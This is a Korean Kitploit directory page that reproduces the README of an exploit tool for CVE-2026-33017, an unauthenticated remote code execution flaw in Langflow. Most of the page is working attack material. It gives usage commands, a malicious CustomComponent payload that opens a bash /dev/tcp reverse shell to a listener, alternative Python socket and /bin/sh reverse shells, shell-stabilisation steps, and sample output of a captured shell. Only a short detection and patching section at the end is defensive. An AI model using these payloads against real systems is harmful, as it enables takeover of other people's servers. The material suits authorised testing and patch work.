Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33017-PoC-Reverse-Shell — CVE-2026-33017에 대한 익스플로잇으로, Langflow의 인증되지 않은 RCE를 통해 악성 CustomComponent 페이로드로 리버스 셸을 활성화합니다. | Kitploit
도구/GitHubGitHub/ahseven/cve-2026-33017-poc-reverse-shell
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubahseven/cve-2026-33017-poc-reverse-shell

CVE-2026-33017-PoC-Reverse-Shell

CVE-2026-33017에 대한 익스플로잇으로, Langflow의 인증되지 않은 RCE를 통해 악성 CustomComponent 페이로드로 리버스 셸을 활성화합니다.

저장소 보기
1020일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33017 - Langflow 인증 우회 RCE 익스플로잇

📋 개요

CVE-2026-33017은 Langflow 버전 1.8.2 이하에서 발생하는 인증 우회 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트에 존재하며, 적절한 인증이 없어 공격자가 그래프 컴파일 과정에서 임의의 Python 코드를 실행할 수 있습니다.

⚠️ 면책 조항

이 익스플로잇은 교육 및 승인된 테스트 목적으로만 사용됩니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 이 도구는 소유한 시스템 또는 명시적 테스트 권한이 있는 시스템에서만 사용하십시오.

🎯 영향을 받는 버전

버전상태
<= 1.8.2취약
1.9.0패치됨

🔍 취약점 세부 정보

근본 원인

이 취약점은 validate.py의 prepare_global_scope() 함수에서 발생하며, 이 함수는 각 CustomComponent 노드의 코드에 대해 적절한 샌드박싱 없이 exec()를 호출합니다. 컴포넌트가 로드/컴파일될 때 모듈 레벨(클래스 정의 외부)의 모든 Python 코드가 즉시 실행됩니다.

취약한 엔드포인트

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

특징:

  • ❌ 인증 불필요
  • ❌ API 키 불필요
  • ❌ 권한 부여 헤더 불필요
  • ✅ 공격자가 제어하는 데이터가 그래프 빌더에 직접 전달됨

코드 실행 체인

root@kitploit:~
공격자 POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← 임의 코드 실행

🛠️ 익스플로잇

사전 요구 사항

  1. Langflow 인스턴스의 공개 플로우 ID(UUID)
  2. 대상 URL(Langflow 인스턴스)
  3. 리버스 셸용 리스너 IP 및 포트

설치

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

요구 사항

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

사용법

기본 구문

root@kitploit:~
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

예시

1. 리버스 셸

root@kitploit:~
# 리스너 시작
nc -lvnp 4444

# 익스플로잇 실행
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. 짧은 옵션 사용

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. 로컬 테스트

root@kitploit:~
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. 사용자 지정 타임아웃

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

명령줄 인수

인수약어필수설명
--url-u예대상 URL (예: https://target.langflow.com)
--flow-id-f예공개 플로우의 플로우 ID(UUID)
--lhost-lh예리버스 셸용 리스너 IP 주소
--lport-lp예리버스 셸용 리스너 포트
--timeout-t아니요HTTP 타임아웃(초) (기본값: 15)

🔧 작동 방식

1. 페이로드 구조

이 익스플로잇은 모듈 레벨에서 코드를 실행하는 악성 CustomComponent 노드를 전송합니다:

root@kitploit:~
import os

# 컴포넌트 로딩 중 즉시 실행됨
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. 실행 흐름

root@kitploit:~
1. 공격자가 POST 요청을 /api/v1/build_public_tmp/{flow_id}/flow로 전송
2. Langflow가 악성 CustomComponent를 수신
3. prepare_global_scope()가 컴포넌트 코드에 대해 exec() 호출
4. 모듈 레벨 코드가 즉시 실행됨
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. 리버스 셸이 공격자의 리스너로 연결
6. 그래프 컴파일이 계속됨 (하지만 이미 늦음)

3. 작동하는 이유

  • 모듈 레벨 실행: 클래스 정의 외부의 코드는 exec() 중에 실행됨
  • 샌드박싱 없음: exec()가 제한 없이 호출됨
  • 인증 없음: 엔드포인트가 공개적으로 접근 가능
  • 공격자 제어 데이터: data 매개변수가 직접 삽입됨

📊 개념 증명

성공적인 익스플로잇 출력

root@kitploit:~
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow 인증 우회 RCE
============================================================

[!] 리스너가 실행 중인지 확인하세요:
    nc -lvnp 4444

[+] 대상 URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] 익스플로잇 페이로드 전송 중...
[+] 상태 코드: 200
[+] 익스플로잇 전송 성공!
[+] 작업 ID: abc123-def456-789ghi

[*] 리버스 셸을 위해 리스너를 확인하세요!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 고급 사용법

셸 안정화

리버스 셸을 획득한 후:

root@kitploit:~
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 또는 script 사용
script /dev/null -c bash

# Ctrl+Z로 백그라운드 전환
# 그런 다음 실행:
stty raw -echo
fg
reset
export TERM=xterm

사용자 지정 명령 실행

리버스 셸 대신 임의의 명령을 실행하도록 스크립트를 수정:

root@kitploit:~
# build_payload() 함수 내부:
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

대체 페이로드

1. Python 소켓 리버스 셸

root@kitploit:~
import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. /bin/sh 리버스 셸 (bash를 사용할 수 없는 경우)

root@kitploit:~
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ 탐지 및 예방

탐지 지표

  • 인증 없이 /api/v1/build_public_tmp/*/flow에 대한 POST 요청
  • os.system() 또는 subprocess를 포함한 의심스러운 CustomComponent 코드
  • 예상치 못한 /tmp/rce-proof 또는 /tmp/executed 파일
  • Langflow 컨테이너에서 발생하는 외부 연결

예방 조치

  1. 패치 적용: Langflow 1.9.0 이상으로 업데이트
  2. 인증 구현: /build_public_tmp 엔드포인트에 적절한 인증 추가
  3. 입력 검증: CustomComponent의 코드 입력 정화
  4. 샌드박싱: exec() 호출에 대한 적절한 샌드박싱 구현
  5. 네트워크 분리: Langflow 인스턴스 격리

📚 참고 자료

  • GitHub 보안 권고: GHSA-vwmf-pq79-vjvx - 공식 CVE-2026-33017 권고
  • CVE 항목: NVD의 CVE-2026-33017
  • Langflow GitHub 저장소: langflow-ai/langflow
  • OWASP Top 10 - A03:2021 인젝션: 인젝션 방지 치트 시트

🗺️ 타임라인

날짜이벤트
2026년 3월취약점 발견
2026년 3월 16일GitHub 보안 권고 게시
2026년 4월공개 공개
2026년 4월패치 릴리스 (1.9.0)

📝 라이선스

이 프로젝트는 교육 목적으로만 제공됩니다. 사용에 따른 책임은 본인에게 있습니다.

⚖️ 법적 고지

이 소프트웨어는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 작성자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 사용자는 모든 관련 법률 및 규정을 준수할 책임이 있습니다.


보안 연구를 위해 🖤로 제작됨

도구 다운로드